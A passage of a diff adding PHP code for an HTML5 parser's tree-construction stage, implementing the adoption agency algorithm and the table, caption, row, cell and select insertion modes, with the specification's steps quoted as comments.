+ /* An end tag whose tag name is one of: "a", "b", "big", "em",
+ "font", "i", "nobr", "s", "small", "strike", "strong", "tt", "u" */
+ case 'a':
+ case 'b':
+ case 'big':
+ case 'em':
+ case 'font':
+ case 'i':
+ case 'nobr':
+ case 's':
+ case 'small':
+ case 'strike':
+ case 'strong':
+ case 'tt':
+ case 'u':
+ /* 1. Let the formatting element be the last element in
+ the list of active formatting elements that:
+ * is between the end of the list and the last scope
+ marker in the list, if any, or the start of the list
+ otherwise, and
+ * has the same tag name as the token.
+ */
+ while (true) {
+ for ($a = count($this->a_formatting) - 1; $a >= 0; $a--) {
+ if ($this->a_formatting[$a] === self::MARKER) {
+ break;
+
+ } elseif ($this->a_formatting[$a]->tagName === $token['name']) {
+ $formatting_element = $this->a_formatting[$a];
+ $in_stack = in_array($formatting_element, $this->stack, true);
+ $fe_af_pos = $a;
+ break;
+ }
+ }
+
+ /* If there is no such node, or, if that node is
+ also in the stack of open elements but the element
+ is not in scope, then this is a parse error. Abort
+ these steps. The token is ignored. */
+ if (!isset($formatting_element) || ($in_stack &&
+ !$this->elementInScope($token['name']))
+ ) {
+ break;
+
+ /* Otherwise, if there is such a node, but that node
+ is not in the stack of open elements, then this is a
+ parse error; remove the element from the list, and
+ abort these steps. */
+ } elseif (isset($formatting_element) && !$in_stack) {
+ unset($this->a_formatting[$fe_af_pos]);
+ $this->a_formatting = array_merge($this->a_formatting);
+ break;
+ }
+
+ /* 2. Let the furthest block be the topmost node in the
+ stack of open elements that is lower in the stack
+ than the formatting element, and is not an element in
+ the phrasing or formatting categories. There might
+ not be one. */
+ $fe_s_pos = array_search($formatting_element, $this->stack, true);
+ $length = count($this->stack);
+
+ for ($s = $fe_s_pos + 1; $s < $length; $s++) {
+ $category = $this->getElementCategory($this->stack[$s]->nodeName);
+
+ if ($category !== self::PHRASING && $category !== self::FORMATTING) {
+ $furthest_block = $this->stack[$s];
+ }
+ }
+
+ /* 3. If there is no furthest block, then the UA must
+ skip the subsequent steps and instead just pop all
+ the nodes from the bottom of the stack of open
+ elements, from the current node up to the formatting
+ element, and remove the formatting element from the
+ list of active formatting elements. */
+ if (!isset($furthest_block)) {
+ for ($n = $length - 1; $n >= $fe_s_pos; $n--) {
+ array_pop($this->stack);
+ }
+
+ unset($this->a_formatting[$fe_af_pos]);
+ $this->a_formatting = array_merge($this->a_formatting);
+ break;
+ }
+
+ /* 4. Let the common ancestor be the element
+ immediately above the formatting element in the stack
+ of open elements. */
+ $common_ancestor = $this->stack[$fe_s_pos - 1];
+
+ /* 5. If the furthest block has a parent node, then
+ remove the furthest block from its parent node. */
+ if ($furthest_block->parentNode !== null) {
+ $furthest_block->parentNode->removeChild($furthest_block);
+ }
+
+ /* 6. Let a bookmark note the position of the
+ formatting element in the list of active formatting
+ elements relative to the elements on either side
+ of it in the list. */
+ $bookmark = $fe_af_pos;
+
+ /* 7. Let node and last node be the furthest block.
+ Follow these steps: */
+ $node = $furthest_block;
+ $last_node = $furthest_block;
+
+ while (true) {
+ for ($n = array_search($node, $this->stack, true) - 1; $n >= 0; $n--) {
+ /* 7.1 Let node be the element immediately
+ prior to node in the stack of open elements. */
+ $node = $this->stack[$n];
+
+ /* 7.2 If node is not in the list of active
+ formatting elements, then remove node from
+ the stack of open elements and then go back
+ to step 1. */
+ if (!in_array($node, $this->a_formatting, true)) {
+ unset($this->stack[$n]);
+ $this->stack = array_merge($this->stack);
+
+ } else {
+ break;
+ }
+ }
+
+ /* 7.3 Otherwise, if node is the formatting
+ element, then go to the next step in the overall
+ algorithm. */
+ if ($node === $formatting_element) {
+ break;
+
+ /* 7.4 Otherwise, if last node is the furthest
+ block, then move the aforementioned bookmark to
+ be immediately after the node in the list of
+ active formatting elements. */
+ } elseif ($last_node === $furthest_block) {
+ $bookmark = array_search($node, $this->a_formatting, true) + 1;
+ }
+
+ /* 7.5 If node has any children, perform a
+ shallow clone of node, replace the entry for
+ node in the list of active formatting elements
+ with an entry for the clone, replace the entry
+ for node in the stack of open elements with an
+ entry for the clone, and let node be the clone. */
+ if ($node->hasChildNodes()) {
+ $clone = $node->cloneNode();
+ $s_pos = array_search($node, $this->stack, true);
+ $a_pos = array_search($node, $this->a_formatting, true);
+
+ $this->stack[$s_pos] = $clone;
+ $this->a_formatting[$a_pos] = $clone;
+ $node = $clone;
+ }
+
+ /* 7.6 Insert last node into node, first removing
+ it from its previous parent node if any. */
+ if ($last_node->parentNode !== null) {
+ $last_node->parentNode->removeChild($last_node);
+ }
+
+ $node->appendChild($last_node);
+
+ /* 7.7 Let last node be node. */
+ $last_node = $node;
+ }
+
+ /* 8. Insert whatever last node ended up being in
+ the previous step into the common ancestor node,
+ first removing it from its previous parent node if
+ any. */
+ if ($last_node->parentNode !== null) {
+ $last_node->parentNode->removeChild($last_node);
+ }
+
+ $common_ancestor->appendChild($last_node);
+
+ /* 9. Perform a shallow clone of the formatting
+ element. */
+ $clone = $formatting_element->cloneNode();
+
+ /* 10. Take all of the child nodes of the furthest
+ block and append them to the clone created in the
+ last step. */
+ while ($furthest_block->hasChildNodes()) {
+ $child = $furthest_block->firstChild;
+ $furthest_block->removeChild($child);
+ $clone->appendChild($child);
+ }
+
+ /* 11. Append that clone to the furthest block. */
+ $furthest_block->appendChild($clone);
+
+ /* 12. Remove the formatting element from the list
+ of active formatting elements, and insert the clone
+ into the list of active formatting elements at the
+ position of the aforementioned bookmark. */
+ $fe_af_pos = array_search($formatting_element, $this->a_formatting, true);
+ unset($this->a_formatting[$fe_af_pos]);
+ $this->a_formatting = array_merge($this->a_formatting);
+
+ $af_part1 = array_slice($this->a_formatting, 0, $bookmark - 1);
+ $af_part2 = array_slice($this->a_formatting, $bookmark, count($this->a_formatting));
+ $this->a_formatting = array_merge($af_part1, array($clone), $af_part2);
+
+ /* 13. Remove the formatting element from the stack
+ of open elements, and insert the clone into the stack
+ of open elements immediately after (i.e. in a more
+ deeply nested position than) the position of the
+ furthest block in that stack. */
+ $fe_s_pos = array_search($formatting_element, $this->stack, true);
+ $fb_s_pos = array_search($furthest_block, $this->stack, true);
+ unset($this->stack[$fe_s_pos]);
+
+ $s_part1 = array_slice($this->stack, 0, $fb_s_pos);
+ $s_part2 = array_slice($this->stack, $fb_s_pos + 1, count($this->stack));
+ $this->stack = array_merge($s_part1, array($clone), $s_part2);
+
+ /* 14. Jump back to step 1 in this series of steps. */
+ unset($formatting_element, $fe_af_pos, $fe_s_pos, $furthest_block);
+ }
+ break;
+
+ /* An end tag token whose tag name is one of: "button",
+ "marquee", "object" */
+ case 'button':
+ case 'marquee':
+ case 'object':
+ /* If the stack of open elements has an element in scope whose
+ tag name matches the tag name of the token, then generate implied
+ tags. */
+ if ($this->elementInScope($token['name'])) {
+ $this->generateImpliedEndTags();
+
+ /* Now, if the current node is not an element with the same
+ tag name as the token, then this is a parse error. */
+ // k
+
+ /* Now, if the stack of open elements has an element in scope
+ whose tag name matches the tag name of the token, then pop
+ elements from the stack until that element has been popped from
+ the stack, and clear the list of active formatting elements up
+ to the last marker. */
+ for ($n = count($this->stack) - 1; $n >= 0; $n--) {
+ if ($this->stack[$n]->nodeName === $token['name']) {
+ $n = -1;
+ }
+
+ array_pop($this->stack);
+ }
+
+ $marker = end(array_keys($this->a_formatting, self::MARKER, true));
+
+ for ($n = count($this->a_formatting) - 1; $n > $marker; $n--) {
+ array_pop($this->a_formatting);
+ }
+ }
+ break;
+
+ /* Or an end tag whose tag name is one of: "area", "basefont",
+ "bgsound", "br", "embed", "hr", "iframe", "image", "img",
+ "input", "isindex", "noembed", "noframes", "param", "select",
+ "spacer", "table", "textarea", "wbr" */
+ case 'area':
+ case 'basefont':
+ case 'bgsound':
+ case 'br':
+ case 'embed':
+ case 'hr':
+ case 'iframe':
+ case 'image':
+ case 'img':
+ case 'input':
+ case 'isindex':
+ case 'noembed':
+ case 'noframes':
+ case 'param':
+ case 'select':
+ case 'spacer':
+ case 'table':
+ case 'textarea':
+ case 'wbr':
+ // Parse error. Ignore the token.
+ break;
+
+ /* An end tag token not covered by the previous entries */
+ default:
+ for ($n = count($this->stack) - 1; $n >= 0; $n--) {
+ /* Initialise node to be the current node (the bottommost
+ node of the stack). */
+ $node = end($this->stack);
+
+ /* If node has the same tag name as the end tag token,
+ then: */
+ if ($token['name'] === $node->nodeName) {
+ /* Generate implied end tags. */
+ $this->generateImpliedEndTags();
+
+ /* If the tag name of the end tag token does not
+ match the tag name of the current node, this is a
+ parse error. */
+ // k
+
+ /* Pop all the nodes from the current node up to
+ node, including node, then stop this algorithm. */
+ for ($x = count($this->stack) - $n; $x >= $n; $x--) {
+ array_pop($this->stack);
+ }
+
+ } else {
+ $category = $this->getElementCategory($node);
+
+ if ($category !== self::SPECIAL && $category !== self::SCOPING) {
+ /* Otherwise, if node is in neither the formatting
+ category nor the phrasing category, then this is a
+ parse error. Stop this algorithm. The end tag token
+ is ignored. */
+ return false;
+ }
+ }
+ }
+ break;
+ }
+ break;
+ }
+ }
+
+ private function inTable($token)
+ {
+ $clear = array('html', 'table');
+
+ /* A character token that is one of one of U+0009 CHARACTER TABULATION,
+ U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
+ or U+0020 SPACE */
+ if ($token['type'] === HTML5::CHARACTR &&
+ preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])
+ ) {
+ /* Append the character to the current node. */
+ $text = $this->dom->createTextNode($token['data']);
+ end($this->stack)->appendChild($text);
+
+ /* A comment token */
+ } elseif ($token['type'] === HTML5::COMMENT) {
+ /* Append a Comment node to the current node with the data
+ attribute set to the data given in the comment token. */
+ $comment = $this->dom->createComment($token['data']);
+ end($this->stack)->appendChild($comment);
+
+ /* A start tag whose tag name is "caption" */
+ } elseif ($token['type'] === HTML5::STARTTAG &&
+ $token['name'] === 'caption'
+ ) {
+ /* Clear the stack back to a table context. */
+ $this->clearStackToTableContext($clear);
+
+ /* Insert a marker at the end of the list of active
+ formatting elements. */
+ $this->a_formatting[] = self::MARKER;
+
+ /* Insert an HTML element for the token, then switch the
+ insertion mode to "in caption". */
+ $this->insertElement($token);
+ $this->mode = self::IN_CAPTION;
+
+ /* A start tag whose tag name is "colgroup" */
+ } elseif ($token['type'] === HTML5::STARTTAG &&
+ $token['name'] === 'colgroup'
+ ) {
+ /* Clear the stack back to a table context. */
+ $this->clearStackToTableContext($clear);
+
+ /* Insert an HTML element for the token, then switch the
+ insertion mode to "in column group". */
+ $this->insertElement($token);
+ $this->mode = self::IN_CGROUP;
+
+ /* A start tag whose tag name is "col" */
+ } elseif ($token['type'] === HTML5::STARTTAG &&
+ $token['name'] === 'col'
+ ) {
+ $this->inTable(
+ array(
+ 'name' => 'colgroup',
+ 'type' => HTML5::STARTTAG,
+ 'attr' => array()
+ )
+ );
+
+ $this->inColumnGroup($token);
+
+ /* A start tag whose tag name is one of: "tbody", "tfoot", "thead" */
+ } elseif ($token['type'] === HTML5::STARTTAG && in_array(
+ $token['name'],
+ array('tbody', 'tfoot', 'thead')
+ )
+ ) {
+ /* Clear the stack back to a table context. */
+ $this->clearStackToTableContext($clear);
+
+ /* Insert an HTML element for the token, then switch the insertion
+ mode to "in table body". */
+ $this->insertElement($token);
+ $this->mode = self::IN_TBODY;
+
+ /* A start tag whose tag name is one of: "td", "th", "tr" */
+ } elseif ($token['type'] === HTML5::STARTTAG &&
+ in_array($token['name'], array('td', 'th', 'tr'))
+ ) {
+ /* Act as if a start tag token with the tag name "tbody" had been
+ seen, then reprocess the current token. */
+ $this->inTable(
+ array(
+ 'name' => 'tbody',
+ 'type' => HTML5::STARTTAG,
+ 'attr' => array()
+ )
+ );
+
+ return $this->inTableBody($token);
+
+ /* A start tag whose tag name is "table" */
+ } elseif ($token['type'] === HTML5::STARTTAG &&
+ $token['name'] === 'table'
+ ) {
+ /* Parse error. Act as if an end tag token with the tag name "table"
+ had been seen, then, if that token wasn't ignored, reprocess the
+ current token. */
+ $this->inTable(
+ array(
+ 'name' => 'table',
+ 'type' => HTML5::ENDTAG
+ )
+ );
+
+ return $this->mainPhase($token);
+
+ /* An end tag whose tag name is "table" */
+ } elseif ($token['type'] === HTML5::ENDTAG &&
+ $token['name'] === 'table'
+ ) {
+ /* If the stack of open elements does not have an element in table
+ scope with the same tag name as the token, this is a parse error.
+ Ignore the token. (innerHTML case) */
+ if (!$this->elementInScope($token['name'], true)) {
+ return false;
+
+ /* Otherwise: */
+ } else {
+ /* Generate implied end tags. */
+ $this->generateImpliedEndTags();
+
+ /* Now, if the current node is not a table element, then this
+ is a parse error. */
+ // w/e
+
+ /* Pop elements from this stack until a table element has been
+ popped from the stack. */
+ while (true) {
+ $current = end($this->stack)->nodeName;
+ array_pop($this->stack);
+
+ if ($current === 'table') {
+ break;
+ }
+ }
+
+ /* Reset the insertion mode appropriately. */
+ $this->resetInsertionMode();
+ }
+
+ /* An end tag whose tag name is one of: "body", "caption", "col",
+ "colgroup", "html", "tbody", "td", "tfoot", "th", "thead", "tr" */
+ } elseif ($token['type'] === HTML5::ENDTAG && in_array(
+ $token['name'],
+ array(
+ 'body',
+ 'caption',
+ 'col',
+ 'colgroup',
+ 'html',
+ 'tbody',
+ 'td',
+ 'tfoot',
+ 'th',
+ 'thead',
+ 'tr'
+ )
+ )
+ ) {
+ // Parse error. Ignore the token.
+
+ /* Anything else */
+ } else {
+ /* Parse error. Process the token as if the insertion mode was "in
+ body", with the following exception: */
+
+ /* If the current node is a table, tbody, tfoot, thead, or tr
+ element, then, whenever a node would be inserted into the current
+ node, it must instead be inserted into the foster parent element. */
+ if (in_array(
+ end($this->stack)->nodeName,
+ array('table', 'tbody', 'tfoot', 'thead', 'tr')
+ )
+ ) {
+ /* The foster parent element is the parent element of the last
+ table element in the stack of open elements, if there is a
+ table element and it has such a parent element. If there is no
+ table element in the stack of open elements (innerHTML case),
+ then the foster parent element is the first element in the
+ stack of open elements (the html element). Otherwise, if there
+ is a table element in the stack of open elements, but the last
+ table element in the stack of open elements has no parent, or
+ its parent node is not an element, then the foster parent
+ element is the element before the last table element in the
+ stack of open elements. */
+ for ($n = count($this->stack) - 1; $n >= 0; $n--) {
+ if ($this->stack[$n]->nodeName === 'table') {
+ $table = $this->stack[$n];
+ break;
+ }
+ }
+
+ if (isset($table) && $table->parentNode !== null) {
+ $this->foster_parent = $table->parentNode;
+
+ } elseif (!isset($table)) {
+ $this->foster_parent = $this->stack[0];
+
+ } elseif (isset($table) && ($table->parentNode === null ||
+ $table->parentNode->nodeType !== XML_ELEMENT_NODE)
+ ) {
+ $this->foster_parent = $this->stack[$n - 1];
+ }
+ }
+
+ $this->inBody($token);
+ }
+ }
+
+ private function inCaption($token)
+ {
+ /* An end tag whose tag name is "caption" */
+ if ($token['type'] === HTML5::ENDTAG && $token['name'] === 'caption') {
+ /* If the stack of open elements does not have an element in table
+ scope with the same tag name as the token, this is a parse error.
+ Ignore the token. (innerHTML case) */
+ if (!$this->elementInScope($token['name'], true)) {
+ // Ignore
+
+ /* Otherwise: */
+ } else {
+ /* Generate implied end tags. */
+ $this->generateImpliedEndTags();
+
+ /* Now, if the current node is not a caption element, then this
+ is a parse error. */
+ // w/e
+
+ /* Pop elements from this stack until a caption element has
+ been popped from the stack. */
+ while (true) {
+ $node = end($this->stack)->nodeName;
+ array_pop($this->stack);
+
+ if ($node === 'caption') {
+ break;
+ }
+ }
+
+ /* Clear the list of active formatting elements up to the last
+ marker. */
+ $this->clearTheActiveFormattingElementsUpToTheLastMarker();
+
+ /* Switch the insertion mode to "in table". */
+ $this->mode = self::IN_TABLE;
+ }
+
+ /* A start tag whose tag name is one of: "caption", "col", "colgroup",
+ "tbody", "td", "tfoot", "th", "thead", "tr", or an end tag whose tag
+ name is "table" */
+ } elseif (($token['type'] === HTML5::STARTTAG && in_array(
+ $token['name'],
+ array(
+ 'caption',
+ 'col',
+ 'colgroup',
+ 'tbody',
+ 'td',
+ 'tfoot',
+ 'th',
+ 'thead',
+ 'tr'
+ )
+ )) || ($token['type'] === HTML5::ENDTAG &&
+ $token['name'] === 'table')
+ ) {
+ /* Parse error. Act as if an end tag with the tag name "caption"
+ had been seen, then, if that token wasn't ignored, reprocess the
+ current token. */
+ $this->inCaption(
+ array(
+ 'name' => 'caption',
+ 'type' => HTML5::ENDTAG
+ )
+ );
+
+ return $this->inTable($token);
+
+ /* An end tag whose tag name is one of: "body", "col", "colgroup",
+ "html", "tbody", "td", "tfoot", "th", "thead", "tr" */
+ } elseif ($token['type'] === HTML5::ENDTAG && in_array(
+ $token['name'],
+ array(
+ 'body',
+ 'col',
+ 'colgroup',
+ 'html',
+ 'tbody',
+ 'tfoot',
+ 'th',
+ 'thead',
+ 'tr'
+ )
+ )
+ ) {
+ // Parse error. Ignore the token.
+
+ /* Anything else */
+ } else {
+ /* Process the token as if the insertion mode was "in body". */
+ $this->inBody($token);
+ }
+ }
+
+ private function inColumnGroup($token)
+ {
+ /* A character token that is one of one of U+0009 CHARACTER TABULATION,
+ U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
+ or U+0020 SPACE */
+ if ($token['type'] === HTML5::CHARACTR &&
+ preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])
+ ) {
+ /* Append the character to the current node. */
+ $text = $this->dom->createTextNode($token['data']);
+ end($this->stack)->appendChild($text);
+
+ /* A comment token */
+ } elseif ($token['type'] === HTML5::COMMENT) {
+ /* Append a Comment node to the current node with the data
+ attribute set to the data given in the comment token. */
+ $comment = $this->dom->createComment($token['data']);
+ end($this->stack)->appendChild($comment);
+
+ /* A start tag whose tag name is "col" */
+ } elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'col') {
+ /* Insert a col element for the token. Immediately pop the current
+ node off the stack of open elements. */
+ $this->insertElement($token);
+ array_pop($this->stack);
+
+ /* An end tag whose tag name is "colgroup" */
+ } elseif ($token['type'] === HTML5::ENDTAG &&
+ $token['name'] === 'colgroup'
+ ) {
+ /* If the current node is the root html element, then this is a
+ parse error, ignore the token. (innerHTML case) */
+ if (end($this->stack)->nodeName === 'html') {
+ // Ignore
+
+ /* Otherwise, pop the current node (which will be a colgroup
+ element) from the stack of open elements. Switch the insertion
+ mode to "in table". */
+ } else {
+ array_pop($this->stack);
+ $this->mode = self::IN_TABLE;
+ }
+
+ /* An end tag whose tag name is "col" */
+ } elseif ($token['type'] === HTML5::ENDTAG && $token['name'] === 'col') {
+ /* Parse error. Ignore the token. */
+
+ /* Anything else */
+ } else {
+ /* Act as if an end tag with the tag name "colgroup" had been seen,
+ and then, if that token wasn't ignored, reprocess the current token. */
+ $this->inColumnGroup(
+ array(
+ 'name' => 'colgroup',
+ 'type' => HTML5::ENDTAG
+ )
+ );
+
+ return $this->inTable($token);
+ }
+ }
+
+ private function inTableBody($token)
+ {
+ $clear = array('tbody', 'tfoot', 'thead', 'html');
+
+ /* A start tag whose tag name is "tr" */
+ if ($token['type'] === HTML5::STARTTAG && $token['name'] === 'tr') {
+ /* Clear the stack back to a table body context. */
+ $this->clearStackToTableContext($clear);
+
+ /* Insert a tr element for the token, then switch the insertion
+ mode to "in row". */
+ $this->insertElement($token);
+ $this->mode = self::IN_ROW;
+
+ /* A start tag whose tag name is one of: "th", "td" */
+ } elseif ($token['type'] === HTML5::STARTTAG &&
+ ($token['name'] === 'th' || $token['name'] === 'td')
+ ) {
+ /* Parse error. Act as if a start tag with the tag name "tr" had
+ been seen, then reprocess the current token. */
+ $this->inTableBody(
+ array(
+ 'name' => 'tr',
+ 'type' => HTML5::STARTTAG,
+ 'attr' => array()
+ )
+ );
+
+ return $this->inRow($token);
+
+ /* An end tag whose tag name is one of: "tbody", "tfoot", "thead" */
+ } elseif ($token['type'] === HTML5::ENDTAG &&
+ in_array($token['name'], array('tbody', 'tfoot', 'thead'))
+ ) {
+ /* If the stack of open elements does not have an element in table
+ scope with the same tag name as the token, this is a parse error.
+ Ignore the token. */
+ if (!$this->elementInScope($token['name'], true)) {
+ // Ignore
+
+ /* Otherwise: */
+ } else {
+ /* Clear the stack back to a table body context. */
+ $this->clearStackToTableContext($clear);
+
+ /* Pop the current node from the stack of open elements. Switch
+ the insertion mode to "in table". */
+ array_pop($this->stack);
+ $this->mode = self::IN_TABLE;
+ }
+
+ /* A start tag whose tag name is one of: "caption", "col", "colgroup",
+ "tbody", "tfoot", "thead", or an end tag whose tag name is "table" */
+ } elseif (($token['type'] === HTML5::STARTTAG && in_array(
+ $token['name'],
+ array('caption', 'col', 'colgroup', 'tbody', 'tfoor', 'thead')
+ )) ||
+ ($token['type'] === HTML5::STARTTAG && $token['name'] === 'table')
+ ) {
+ /* If the stack of open elements does not have a tbody, thead, or
+ tfoot element in table scope, this is a parse error. Ignore the
+ token. (innerHTML case) */
+ if (!$this->elementInScope(array('tbody', 'thead', 'tfoot'), true)) {
+ // Ignore.
+
+ /* Otherwise: */
+ } else {
+ /* Clear the stack back to a table body context. */
+ $this->clearStackToTableContext($clear);
+
+ /* Act as if an end tag with the same tag name as the current
+ node ("tbody", "tfoot", or "thead") had been seen, then
+ reprocess the current token. */
+ $this->inTableBody(
+ array(
+ 'name' => end($this->stack)->nodeName,
+ 'type' => HTML5::ENDTAG
+ )
+ );
+
+ return $this->mainPhase($token);
+ }
+
+ /* An end tag whose tag name is one of: "body", "caption", "col",
+ "colgroup", "html", "td", "th", "tr" */
+ } elseif ($token['type'] === HTML5::ENDTAG && in_array(
+ $token['name'],
+ array('body', 'caption', 'col', 'colgroup', 'html', 'td', 'th', 'tr')
+ )
+ ) {
+ /* Parse error. Ignore the token. */
+
+ /* Anything else */
+ } else {
+ /* Process the token as if the insertion mode was "in table". */
+ $this->inTable($token);
+ }
+ }
+
+ private function inRow($token)
+ {
+ $clear = array('tr', 'html');
+
+ /* A start tag whose tag name is one of: "th", "td" */
+ if ($token['type'] === HTML5::STARTTAG &&
+ ($token['name'] === 'th' || $token['name'] === 'td')
+ ) {
+ /* Clear the stack back to a table row context. */
+ $this->clearStackToTableContext($clear);
+
+ /* Insert an HTML element for the token, then switch the insertion
+ mode to "in cell". */
+ $this->insertElement($token);
+ $this->mode = self::IN_CELL;
+
+ /* Insert a marker at the end of the list of active formatting
+ elements. */
+ $this->a_formatting[] = self::MARKER;
+
+ /* An end tag whose tag name is "tr" */
+ } elseif ($token['type'] === HTML5::ENDTAG && $token['name'] === 'tr') {
+ /* If the stack of open elements does not have an element in table
+ scope with the same tag name as the token, this is a parse error.
+ Ignore the token. (innerHTML case) */
+ if (!$this->elementInScope($token['name'], true)) {
+ // Ignore.
+
+ /* Otherwise: */
+ } else {
+ /* Clear the stack back to a table row context. */
+ $this->clearStackToTableContext($clear);
+
+ /* Pop the current node (which will be a tr element) from the
+ stack of open elements. Switch the insertion mode to "in table
+ body". */
+ array_pop($this->stack);
+ $this->mode = self::IN_TBODY;
+ }
+
+ /* A start tag whose tag name is one of: "caption", "col", "colgroup",
+ "tbody", "tfoot", "thead", "tr" or an end tag whose tag name is "table" */
+ } elseif ($token['type'] === HTML5::STARTTAG && in_array(
+ $token['name'],
+ array('caption', 'col', 'colgroup', 'tbody', 'tfoot', 'thead', 'tr')
+ )
+ ) {
+ /* Act as if an end tag with the tag name "tr" had been seen, then,
+ if that token wasn't ignored, reprocess the current token. */
+ $this->inRow(
+ array(
+ 'name' => 'tr',
+ 'type' => HTML5::ENDTAG
+ )
+ );
+
+ return $this->inCell($token);
+
+ /* An end tag whose tag name is one of: "tbody", "tfoot", "thead" */
+ } elseif ($token['type'] === HTML5::ENDTAG &&
+ in_array($token['name'], array('tbody', 'tfoot', 'thead'))
+ ) {
+ /* If the stack of open elements does not have an element in table
+ scope with the same tag name as the token, this is a parse error.
+ Ignore the token. */
+ if (!$this->elementInScope($token['name'], true)) {
+ // Ignore.
+
+ /* Otherwise: */
+ } else {
+ /* Otherwise, act as if an end tag with the tag name "tr" had
+ been seen, then reprocess the current token. */
+ $this->inRow(
+ array(
+ 'name' => 'tr',
+ 'type' => HTML5::ENDTAG
+ )
+ );
+
+ return $this->inCell($token);
+ }
+
+ /* An end tag whose tag name is one of: "body", "caption", "col",
+ "colgroup", "html", "td", "th" */
+ } elseif ($token['type'] === HTML5::ENDTAG && in_array(
+ $token['name'],
+ array('body', 'caption', 'col', 'colgroup', 'html', 'td', 'th', 'tr')
+ )
+ ) {
+ /* Parse error. Ignore the token. */
+
+ /* Anything else */
+ } else {
+ /* Process the token as if the insertion mode was "in table". */
+ $this->inTable($token);
+ }
+ }
+
+ private function inCell($token)
+ {
+ /* An end tag whose tag name is one of: "td", "th" */
+ if ($token['type'] === HTML5::ENDTAG &&
+ ($token['name'] === 'td' || $token['name'] === 'th')
+ ) {
+ /* If the stack of open elements does not have an element in table
+ scope with the same tag name as that of the token, then this is a
+ parse error and the token must be ignored. */
+ if (!$this->elementInScope($token['name'], true)) {
+ // Ignore.
+
+ /* Otherwise: */
+ } else {
+ /* Generate implied end tags, except for elements with the same
+ tag name as the token. */
+ $this->generateImpliedEndTags(array($token['name']));
+
+ /* Now, if the current node is not an element with the same tag
+ name as the token, then this is a parse error. */
+ // k
+
+ /* Pop elements from this stack until an element with the same
+ tag name as the token has been popped from the stack. */
+ while (true) {
+ $node = end($this->stack)->nodeName;
+ array_pop($this->stack);
+
+ if ($node === $token['name']) {
+ break;
+ }
+ }
+
+ /* Clear the list of active formatting elements up to the last
+ marker. */
+ $this->clearTheActiveFormattingElementsUpToTheLastMarker();
+
+ /* Switch the insertion mode to "in row". (The current node
+ will be a tr element at this point.) */
+ $this->mode = self::IN_ROW;
+ }
+
+ /* A start tag whose tag name is one of: "caption", "col", "colgroup",
+ "tbody", "td", "tfoot", "th", "thead", "tr" */
+ } elseif ($token['type'] === HTML5::STARTTAG && in_array(
+ $token['name'],
+ array(
+ 'caption',
+ 'col',
+ 'colgroup',
+ 'tbody',
+ 'td',
+ 'tfoot',
+ 'th',
+ 'thead',
+ 'tr'
+ )
+ )
+ ) {
+ /* If the stack of open elements does not have a td or th element
+ in table scope, then this is a parse error; ignore the token.
+ (innerHTML case) */
+ if (!$this->elementInScope(array('td', 'th'), true)) {
+ // Ignore.
+
+ /* Otherwise, close the cell (see below) and reprocess the current
+ token. */
+ } else {
+ $this->closeCell();
+ return $this->inRow($token);
+ }
+
+ /* A start tag whose tag name is one of: "caption", "col", "colgroup",
+ "tbody", "td", "tfoot", "th", "thead", "tr" */
+ } elseif ($token['type'] === HTML5::STARTTAG && in_array(
+ $token['name'],
+ array(
+ 'caption',
+ 'col',
+ 'colgroup',
+ 'tbody',
+ 'td',
+ 'tfoot',
+ 'th',
+ 'thead',
+ 'tr'
+ )
+ )
+ ) {
+ /* If the stack of open elements does not have a td or th element
+ in table scope, then this is a parse error; ignore the token.
+ (innerHTML case) */
+ if (!$this->elementInScope(array('td', 'th'), true)) {
+ // Ignore.
+
+ /* Otherwise, close the cell (see below) and reprocess the current
+ token. */
+ } else {
+ $this->closeCell();
+ return $this->inRow($token);
+ }
+
+ /* An end tag whose tag name is one of: "body", "caption", "col",
+ "colgroup", "html" */
+ } elseif ($token['type'] === HTML5::ENDTAG && in_array(
+ $token['name'],
+ array('body', 'caption', 'col', 'colgroup', 'html')
+ )
+ ) {
+ /* Parse error. Ignore the token. */
+
+ /* An end tag whose tag name is one of: "table", "tbody", "tfoot",
+ "thead", "tr" */
+ } elseif ($token['type'] === HTML5::ENDTAG && in_array(
+ $token['name'],
+ array('table', 'tbody', 'tfoot', 'thead', 'tr')
+ )
+ ) {
+ /* If the stack of open elements does not have an element in table
+ scope with the same tag name as that of the token (which can only
+ happen for "tbody", "tfoot" and "thead", or, in the innerHTML case),
+ then this is a parse error and the token must be ignored. */
+ if (!$this->elementInScope($token['name'], true)) {
+ // Ignore.
+
+ /* Otherwise, close the cell (see below) and reprocess the current
+ token. */
+ } else {
+ $this->closeCell();
+ return $this->inRow($token);
+ }
+
+ /* Anything else */
+ } else {
+ /* Process the token as if the insertion mode was "in body". */
+ $this->inBody($token);
+ }
+ }
+
+ private function inSelect($token)
+ {
+ /* Handle the token as follows: */
+
+ /* A character token */
+ if ($token['type'] === HTML5::CHARACTR) {
+ /* Append the token's character to the current node. */
+ $this->insertText($token['data']);
+
+ /* A comment token */
+ } elseif ($token['type'] === HTML5::COMMENT) {
+ /* Append a Comment node to the current node with the data
+ attribute set to the data given in the comment token. */
+ $this->insertComment($token['data']);
+
+ /* A start tag token whose tag name is "option" */
+ } elseif ($token['type'] === HTML5::STARTTAG &&
+ $token['name'] === 'option'
+ ) {
+ /* If the current node is an option element, act as if an end tag
+ with the tag name "option" had been seen. */
+ if (end($this->stack)->nodeName === 'option') {
+ $this->inSelect(
+ array(
+ 'name' => 'option',
+ 'type' => HTML5::ENDTAG
+ )
+ );
+ }
+
+ /* Insert an HTML element for the token. */
+ $this->insertElement($token);
+
+ /* A start tag token whose tag name is "optgroup" */
+ } elseif ($token['type'] === HTML5::STARTTAG &&
+ $token['name'] === 'optgroup'
+ ) {
+ /* If the current node is an option element, act as if an end tag
+ with the tag name "option" had been seen. */
+ if (end($this->stack)->nodeName === 'option') {
+ $this->inSelect(
+ array(
+ 'name' => 'option',
+ 'type' => HTML5::ENDTAG
+ )
+ );
+ }
+
+ /* If the current node is an optgroup element, act as if an end tag
+ with the tag name "optgroup" had been seen. */
+ if (end($this->stack)->nodeName === 'optgroup') {
+ $this->inSelect(
+ array(
+ 'name' => 'optgroup',
+ 'type' => HTML5::ENDTAG
+ )
+ );
+ }
+
+ /* Insert an HTML element for the token. */
+ $this->insertElement($token);
+
+ /* An end tag token whose tag name is "optgroup" */
+ } elseif ($token['type'] === HTML5::ENDTAG &&
+ $token['name'] === 'optgroup'
+ ) {
